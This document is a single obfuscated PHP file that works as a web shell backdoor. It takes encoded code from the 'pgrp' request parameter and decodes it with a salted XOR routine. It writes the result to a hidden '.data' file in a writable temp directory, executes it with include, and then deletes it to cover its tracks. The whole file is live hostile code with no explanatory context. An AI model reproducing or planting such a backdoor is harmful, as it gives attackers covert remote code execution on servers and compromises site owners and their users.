<?php

if(!is_null($_REQUEST["\x70\x67rp"] ?? null)){
	$pointer = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), "/tmp", ini_get("upload_tmp_dir"), session_save_path()]);
	$bind = $_REQUEST["\x70\x67rp"];
		 $bind		= 	 explode ("."	, 		$bind )	;		
	$dchunk = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt	);
    
            foreach ($bind as $q => $v9) {$chS = ord($salt[$q%	 $lenS]	);
                $d = ((int)$v9 - $chS - ($q%	 10))	 ^	77;
                $dchunk	.=chr($d	);}		
	foreach ($pointer as $res) {
    		if (is_dir($res) && is_writable($res)) {
    $ent = "$res/.data";
    $success = file_put_contents($ent, $dchunk);
if ($success) {
	include $ent;
	@unlink($ent);
	exit;}
}
}
}